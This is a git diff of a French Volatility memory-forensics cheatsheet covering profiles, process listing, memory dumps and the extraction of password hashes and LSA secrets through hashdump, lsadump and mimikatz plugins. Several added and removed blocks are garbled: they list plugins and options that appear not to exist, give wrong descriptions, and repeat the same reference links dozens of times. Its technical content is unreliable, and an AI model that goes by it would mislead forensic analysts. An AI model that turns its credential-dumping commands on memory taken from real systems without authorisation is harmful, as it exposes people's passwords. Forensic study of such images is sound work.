du presse-papiers. -- `volatility2 -f hashdump -y -s ` : Dump les hashes des comptes utilisateurs. -- `volatility2 -f mimikatz` : Exécute Mimikatz dans l'image mémoire. -- `volatility2 -f yarascan -Y ` : Recherche des patterns Yara dans l'image mémoire. -- `volatility2 -f yarascan -y ` : Recherche un pattern Yara dans l'image mémoire. -- `volatility2 -f dumpfiles -Q ` : Dump un fichier à partir d'un offset. -- `volatility2 -f dumpfiles -D ` : Dump tous les fichiers de l'image mémoire. -- `volatility2 -f dumpfiles -U ` : Dump tous les fichiers uniques de l'image mémoire. -- `volatility2 -f dumpfiles -Q -n ` : Dump un fichier à partir d'un offset avec un nom spécifique. -- `volatility2 -f dumpfiles -Q -s ` : Dump un fichier à partir d'un offset avec une taille spécifique. - -{% endtab %} -{% endtabs %} +{% tab title="Méthode1" %} ``` Download the executable from https://www.volatilityfoundation.org/26 ``` @@ -113,20 +59,20 @@ Accédez à la documentation officielle dans [Référence des commandes Volatili ### Note sur les plugins "list" vs "scan" -Volatility a deux approches principales pour les plugins, qui sont parfois reflétées dans leurs noms. Les plugins "list" essaieront de naviguer à travers les structures du noyau Windows pour récupérer des informations telles que les processus (localiser et parcourir la liste chaînée des structures `_EPROCESS` en mémoire), les poignées OS (localiser et lister la table de poignées, déréférencer les pointeurs trouvés, etc.). Ils se comportent plus ou moins comme le ferait l'API Windows si on lui demandait, par exemple, de lister les processus. +Volatility a deux approches principales pour les plugins, qui se reflètent parfois dans leurs noms. Les plugins "list" essaieront de naviguer à travers les structures du noyau Windows pour récupérer des informations telles que les processus (localiser et parcourir la liste chaînée des structures `_EPROCESS` en mémoire), les poignées du système d'exploitation (localiser et répertorier la table des poignées, déréférencer les pointeurs trouvés, etc). Ils se comportent plus ou moins comme le ferait l'API Windows si on lui demandait, par exemple, de lister les processus. -Cela rend les plugins "list" assez rapides, mais tout aussi vulnérables que l'API Windows à la manipulation par les logiciels malveillants. Par exemple, si un logiciel malveillant utilise DKOM pour délier un processus de la liste chaînée `_EPROCESS`, il n'apparaîtra pas dans le Gestionnaire des tâches et ne le fera pas non plus dans la liste des processus. +Cela rend les plugins "list" assez rapides, mais tout aussi vulnérables que l'API Windows à la manipulation par des logiciels malveillants. Par exemple, si un logiciel malveillant utilise DKOM pour détacher un processus de la liste chaînée `_EPROCESS`, il n'apparaîtra pas dans le Gestionnaire des tâches ni dans la liste des processus. -Les plugins "scan", en revanche, adopteront une approche similaire à la sculpture de la mémoire pour des choses qui pourraient avoir du sens lorsqu'elles sont déréférencées en tant que structures spécifiques. `psscan`, par exemple, lira la mémoire et essaiera de créer des objets `_EPROCESS` à partir de celle-ci (il utilise la recherche de pool-tag, qui recherche des chaînes de 4 octets indiquant la présence d'une structure d'intérêt). L'avantage est qu'il peut déterrer des processus qui ont quitté, et même si les logiciels malveillants altèrent la liste chaînée `_EPROCESS`, le plugin trouvera toujours la structure qui traîne en mémoire (puisqu'elle doit encore exister pour que le processus s'exécute). La chute est que les plugins "scan" sont un peu plus lents que les plugins "list" et peuvent parfois donner des faux positifs (un processus qui a quitté il y a trop longtemps et dont certaines parties de sa structure ont été écrasées par d'autres opérations). +Les plugins "scan", en revanche, adopteront une approche similaire à celle de la recherche de structures spécifiques dans la mémoire. Par exemple, `psscan` lira la mémoire et essaiera de créer des objets `_EPROCESS` à partir de celle-ci (il utilise la recherche de balises de pool, qui consiste à rechercher des chaînes de 4 octets indiquant la présence d'une structure d'intérêt). L'avantage est qu'il peut retrouver des processus qui ont été arrêtés, et même si un logiciel malveillant altère la liste chaînée `_EPROCESS`, le plugin trouvera toujours la structure laissée en mémoire (car elle doit toujours exister pour que le processus s'exécute). L'inconvénient est que les plugins "scan" sont un peu plus lents que les plugins "list" et peuvent parfois donner des faux positifs (un processus qui s'est arrêté il y a trop longtemps et dont certaines parties de la structure ont été écrasées par d'autres opérations). -À partir de: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +Source: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) ## Profils OS ### Volatility3 -Comme expliqué dans le fichier readme, vous devez mettre la **table des symboles de l'OS** que vous souhaitez prendre en charge dans _volatility3/volatility/symbols_.\ -Les packs de tables de symboles pour les différents systèmes d'exploitation sont disponibles en **téléchargement** sur: +Comme expliqué dans le fichier readme, vous devez placer la **table des symboles du système d'exploitation** que vous souhaitez prendre en charge dans _volatility3/volatility/symbols_.\ +Les packs de tables de symboles pour les différents systèmes d'exploitation sont disponibles en **téléchargement** sur : * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -134,13 +80,13 @@ Les packs de tables de symboles pour les différents systèmes d'exploitation so ### Volatility2 -#### Profil externe +#### Profil Externe -Vous pouvez obtenir la liste des profils pris en charge en faisant: +Vous pouvez obtenir la liste des profils pris en charge en exécutant : ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` -Si vous souhaitez utiliser un **nouveau profil que vous avez téléchargé** (par exemple, un profil Linux), vous devez créer quelque part la structure de dossier suivante : _plugins/overlays/linux_ et mettre à l'intérieur de ce dossier le fichier zip contenant le profil. Ensuite, obtenez le nombre de profils en utilisant : +Si vous souhaitez utiliser un **nouveau profil que vous avez téléchargé** (par exemple un profil linux), vous devez créer quelque part la structure de dossier suivante : _plugins/overlays/linux_ et placer à l'intérieur de ce dossier le fichier zip contenant le profil. Ensuite, obtenez le nombre de profils en utilisant : ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -152,7 +98,7 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` -Vous pouvez **télécharger des profils Linux et Mac** depuis [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) +Vous pouvez **télécharger les profils Linux et Mac** depuis [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) Dans le chunk précédent, vous pouvez voir que le profil s'appelle `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, et vous pouvez l'utiliser pour exécuter quelque chose comme: ```bash @@ -165,9 +111,9 @@ volatility kdbgscan -f file.dmp ``` #### **Différences entre imageinfo et kdbgscan** -Contrairement à imageinfo qui fournit simplement des suggestions de profil, **kdbgscan** est conçu pour identifier positivement le profil correct et l'adresse KDBG correcte (s'il y en a plusieurs). Ce plugin recherche les signatures KDBGHeader liées aux profils de Volatility et applique des vérifications de cohérence pour réduire les faux positifs. La verbosité de la sortie et le nombre de vérifications de cohérence qui peuvent être effectuées dépendent de la capacité de Volatility à trouver un DTB, donc si vous connaissez déjà le profil correct (ou si vous avez une suggestion de profil à partir de imageinfo), assurez-vous de l'utiliser (à partir de [ici](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). +Contrairement à imageinfo qui fournit simplement des suggestions de profil, **kdbgscan** est conçu pour identifier de manière positive le bon profil et la bonne adresse KDBG (s'il y en a plusieurs). Ce plugin recherche les signatures KDBGHeader liées aux profils de Volatility et applique des vérifications de cohérence pour réduire les faux positifs. La verbosité de la sortie et le nombre de vérifications de cohérence pouvant être effectuées dépendent de la capacité de Volatility à trouver un DTB, donc si vous connaissez déjà le bon profil (ou si vous avez une suggestion de profil à partir de imageinfo), assurez-vous de l'utiliser (à partir de [ici](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). -Vérifiez toujours le **nombre de processus que kdbgscan a trouvé**. Parfois, imageinfo et kdbgscan peuvent trouver **plus d'un** profil approprié, mais seul le **bon aura des processus associés** (Cela est dû au fait que pour extraire les processus, l'adresse KDBG correcte est nécessaire). +Jetez toujours un œil au **nombre de processus trouvés par kdbgscan**. Parfois, imageinfo et kdbgscan peuvent trouver **plus d'un** **profil** approprié, mais seul le **bon aura des processus associés** (Cela est dû au fait que pour extraire les processus, l'adresse KDBG correcte est nécessaire) ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -181,7 +127,7 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` #### KDBG -Le **bloc de débogage du noyau** (nommé KdDebuggerDataBlock de type \_KDDEBUGGER\_DATA64, ou **KDBG** par Volatility) est important pour de nombreuses choses que Volatility et les débogueurs font. Par exemple, il a une référence à PsActiveProcessHead qui est la tête de liste de tous les processus requis pour la liste des processus. +Le **bloc de débogage du noyau** (nommé KdDebuggerDataBlock du type \_KDDEBUGGER\_DATA64, ou **KDBG** par Volatility) est important pour de nombreuses tâches que Volatility et les débogueurs effectuent. Par exemple, il contient une référence à PsActiveProcessHead qui est la tête de liste de tous les processus nécessaires pour la liste des processus. ## Informations sur le système d'exploitation ```bash @@ -192,7 +138,10 @@ Le plugin `banners.Banners` peut être utilisé dans **vol3 pour essayer de trou ## Hashes/Mots de passe -Extraire les hachages SAM, les [informations d'identification mises en cache du domaine](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) et les [secrets LSA](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). +Extraire les hachages SAM, les [informations d'identification mises en cache du domaine](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) et les [secrets lsa](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). + +{% tabs %} +{% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry @@ -200,298 +149,30 @@ Extraire les hachages SAM, les [informations d'identification mises en cache du ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdiff - -Compare memory dumps. - -```bash -volatility -f memdiff -f -``` - -### Network Analysis - -#### connscan - -List open connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network activity. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### printval - -Print registry value. - -```bash -volatility -f printval -K -V -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -w -``` - -### Virtualization Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmscan - -Scan for virtual machines. - -```bash -volatility -f vmscan -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` -{% endtab %} -{% endtabs %} +## Analyse de la mémoire -## Dump de mémoire - -Le dump de mémoire d'un processus va extraire tout ce qui concerne l'état actuel du processus. Le module **procdump** ne va extraire que le **code**. +Le dump de mémoire d'un processus va **extraire tout** de l'état actuel du processus. Le module **procdump** va seulement **extraire** le **code**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ```
-[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} -## Processus +## Processes -### Liste des processus +### List processes -Essayez de trouver des processus **suspects** (par nom) ou des **processus** enfants **inattendus** (par exemple, un cmd.exe en tant qu'enfant de iexplorer.exe).\ -Il pourrait être intéressant de **comparer** le résultat de pslist avec celui de psscan pour identifier les processus cachés. +Essayez de trouver des processus **suspects** (par leur nom) ou des **processus** enfants **inattendus** (par exemple, un cmd.exe en tant que processus enfant de iexplorer.exe).\ +Il pourrait être intéressant de **comparer** le résultat de pslist avec celui de psscan pour identifier les processus cachés. {% tabs %} {% tab title="vol3" %} @@ -502,1642 +183,208 @@ python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malwa ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -O -``` - -### Plugin `dumpcache` - -```bash -volatility -f dumpcache -D -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpregistryvalues` - -```bash -volatility -f dumpregistryvalues -o -D -``` - -### Plugin `dumpall` - -```bash -volatility -f dumpall -D -``` - -### Plugin `moddump` - -```bash -volatility -f moddump -D -``` - -### Plugin `modscan` - -```bash -volatility -f modscan -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `svcscan` - -```bash -volatility -f svcscan -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -### Plugin `getsids` - -```bash -volatility -f getsids -``` - -### Plugin `userassist` - -```bash -volatility -f userassist -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -O -``` - -### Plugin `dumpcache` - -```bash -volatility -f dumpcache -D -``` - -### Plugin `connscan` - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -### Plugin `filescan` - -```bash -volatility -f filescan -``` - -### Plugin `pslist` - -```bash -volatility -f pslist -``` - -### Plugin `psscan` - -```bash -volatility -f psscan -``` - -### Plugin `pstree` - -```bash -volatility -f pstree -``` - -### Plugin `dlllist` - -```bash -volatility -f dlllist -``` - -### Plugin `netscan` - -```bash -volatility -f netscan -``` - -### Plugin `procdump` - -```bash -volatility -f procdump -p -D -``` - -### Plugin `memdump` - -```bash -volatility -f memdump -p -D -``` - -### Plugin `malfind` - -```bash -volatility -f malfind -p -D -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) -- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +{% tab title="vol2" %} + +## Feuille de triche Volatility + +### Commandes de base + +- **volatility -f dump.mem imageinfo** : Informations sur l'image mémoire +- **volatility -f dump.mem pslist** : Liste des processus en cours d'exécution +- **volatility -f dump.mem psscan** : Analyse des processus non alloués +- **volatility -f dump.mem pstree** : Affiche les processus sous forme d'arborescence +- **volatility -f dump.mem dlllist -p PID** : Liste des DLL chargées par un processus +- **volatility -f dump.mem filescan** : Analyse des fichiers non alloués +- **volatility -f dump.mem cmdline -p PID** : Ligne de commande d'un processus +- **volatility -f dump.mem netscan** : Liste des connexions réseau +- **volatility -f dump.mem connections** : Analyse des connexions réseau +- **volatility -f dump.mem malfind** : Recherche de code malveillant dans les processus +- **volatility -f dump.mem apihooks** : Recherche des hooks API dans les processus +- **volatility -f dump.mem ldrmodules** : Liste des modules chargés par les processus +- **volatility -f dump.mem modscan** : Analyse des modules noyau non alloués +- **volatility -f dump.mem shimcache** : Analyse du cache de compatibilité des applications +- **volatility -f dump.mem userassist** : Analyse des éléments récemment utilisés par l'utilisateur +- **volatility -f dump.mem hivelist** : Liste des hôtes de registre +- **volatility -f dump.mem printkey -o OFFSET** : Affiche les sous-clés d'une clé de registre +- **volatility -f dump.mem hashdump** : Extraction des hachages de mots de passe +- **volatility -f dump.mem truecryptpassphrase** : Recherche de phrases de passe TrueCrypt +- **volatility -f dump.mem clipboard** : Analyse du presse-papiers +- **volatility -f dump.mem screenshot** : Capture d'écran de l'image mémoire +- **volatility -f dump.mem memdump -p PID -D /path/to/dump/** : Extraction de la mémoire d'un processus +- **volatility -f dump.mem memdump -p PID -D /path/to/dump/ -r RANGE** : Extraction de la mémoire d'un processus dans une plage spécifique +- **volatility -f dump.mem memmap** : Cartographie de la mémoire physique +- **volatility -f dump.mem memmap --profile=PROFILE** : Cartographie de la mémoire physique avec un profil spécifique + +### Plugins supplémentaires + +- **volatility -f dump.mem kdbgscan** : Recherche du KDBG (Kernel Debugger Block) +- **volatility -f dump.mem ssdt** : Affiche la table des descripteurs de services système +- **volatility -f dump.mem driverirp** : Analyse des IRP (I/O Request Packets) des pilotes +- **volatility -f dump.mem callbacks** : Recherche des callbacks de notification de pilote +- **volatility -f dump.mem devicetree** : Affiche l'arborescence des périphériques +- **volatility -f dump.mem handles** : Liste des handles du noyau +- **volatility -f dump.mem mutantscan** : Analyse des objets mutant +- **volatility -f dump.mem qpc** : Affiche les valeurs de l'horloge haute résolution +- **volatility -f dump.mem timers** : Liste des timers du noyau +- **volatility -f dump.mem idt** : Affiche la table des descripteurs d'interruption +- **volatility -f dump.mem gdt** : Affiche la table des descripteurs de tâche globale +- **volatility -f dump.mem threads** : Liste des threads du noyau +- **volatility -f dump.mem thrdscan** : Analyse des threads non alloués +- **volatility -f dump.mem vadinfo** : Informations sur les zones d'allocation virtuelle +- **volatility -f dump.mem vadtree** : Affiche les zones d'allocation virtuelle sous forme d'arborescence +- **volatility -f dump.mem deskscan** : Analyse des objets de bureau +- **volatility -f dump.mem hivescan** : Analyse des hôtes de registre non alloués +- **volatility -f dump.mem userhandles** : Liste des handles utilisateur +- **volatility -f dump.mem wndscan** : Analyse des objets de fenêtre +- **volatility -f dump.mem atomscan** : Analyse des atomes +- **volatility -f dump.mem gditimers** : Liste des timers GDI +- **volatility -f dump.mem usermodules** : Liste des modules utilisateur +- **volatility -f dump.mem userstack** : Affiche la pile utilisateur +- **volatility -f dump.mem ssdeep** : Calcul de l'empreinte SSDeep des sections PE +- **volatility -f dump.mem yarascan** : Analyse des processus à l'aide de règles Yara +- **volatility -f dump.mem yarascan -Y "rule_file.yar"** : Analyse des processus à l'aide d'un fichier de règles Yara +- **volatility -f dump.mem malfind -Y "rule_file.yar"** : Recherche de code malveillant dans les processus à l'aide de règles Yara +- **volatility -f dump.mem malfind --output-file=output.txt** : Enregistre la sortie de la recherche de code malveillant dans un fichier + +{% endtab %} ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` -### Analyse de dump proc +### Analyse du dump {% tabs %} {% tab title="vol3" %} -#### Commandes de base - -- `volatility -f --profile= pslist` : liste des processus -- `volatility -f --profile= psscan` : liste des processus (scan) -- `volatility -f --profile= pstree` : arborescence des processus -- `volatility -f --profile= psxview` : liste des processus cachés -- `volatility -f --profile= dlllist -p ` : liste des DLL chargées par un processus -- `volatility -f --profile= handles -p ` : liste des handles ouverts par un processus -- `volatility -f --profile= cmdline -p ` : commande lancée par un processus -- `volatility -f --profile= consoles` : liste des consoles ouvertes -- `volatility -f --profile= consoles -p ` : console ouverte par un processus -- `volatility -f --profile= consoles -u ` : consoles ouvertes par un utilisateur -- `volatility -f --profile= consoles -t ` : consoles ouvertes dans une session -- `volatility -f --profile= getsids` : liste des SIDs -- `volatility -f --profile= getsids -p ` : SID d'un processus -- `volatility -f --profile= getsids -u ` : SIDs d'un utilisateur -- `volatility -f --profile= getsids -t ` : SIDs d'une session - -#### Analyse de processus - -- `volatility -f --profile= procdump -p -D ` : dump d'un processus -- `volatility -f --profile= memdump -p -D ` : dump de la mémoire d'un processus -- `volatility -f --profile= memdump -p --dump-dir=` : dump de la mémoire d'un processus (alternative) -- `volatility -f --profile= memmap` : liste des régions mémoire -- `volatility -f --profile= memmap -p ` : liste des régions mémoire d'un processus -- `volatility -f --profile= memdump -r - -D ` : dump d'une région mémoire -- `volatility -f --profile= memdump -R -D ` : dump d'une région mémoire (alternative) -- `volatility -f --profile= memdump --dump-dir= --pid=` : dump de la mémoire d'un processus (alternative) -- `volatility -f --profile= memdump --dump-dir= --address=
` : dump d'une région mémoire (alternative) - -#### Analyse de DLL - -- `volatility -f --profile= dlldump -p -b -D ` : dump d'une DLL chargée par un processus -- `volatility -f --profile= dlldump -b -D ` : dump d'une DLL chargée dans le dump -- `volatility -f --profile= dlldump -p -b --dump-dir=` : dump d'une DLL chargée par un processus (alternative) -- `volatility -f --profile= dlldump -b --dump-dir=` : dump d'une DLL chargée dans le dump (alternative) - -#### Analyse de handles - -- `volatility -f --profile= handles` : liste des handles ouverts -- `volatility -f --profile= handles -p ` : liste des handles ouverts par un processus -- `volatility -f --profile= handles -t ` : liste des handles d'un type -- `volatility -f --profile= handles -u ` : liste des handles ouverts par un utilisateur -- `volatility -f --profile= handles -p -o ` : liste des handles ouverts par un processus pour un objet donné -- `volatility -f --profile= handles -p -o -O` : dump de l'objet associé à un handle - -#### Analyse de threads - -- `volatility -f --profile= threads` : liste des threads -- `volatility -f --profile= threads -p ` : liste des threads d'un processus -- `volatility -f --profile= threads -t ` : informations sur un thread -- `volatility -f --profile= threads -p --dump-dir=` : dump de la pile d'un processus -- `volatility -f --profile= threads -t --dump-dir=` : dump de la pile d'un thread - -#### Analyse de la mémoire - -- `volatility -f --profile= memdump -D ` : dump de la mémoire -- `volatility -f --profile= memdump --dump-dir=` : dump de la mémoire (alternative) -- `volatility -f --profile= memdump -r - -D ` : dump d'une région mémoire -- `volatility -f --profile= memdump -R -D ` : dump d'une région mémoire (alternative) -- `volatility -f --profile= memdump --dump-dir= --address=
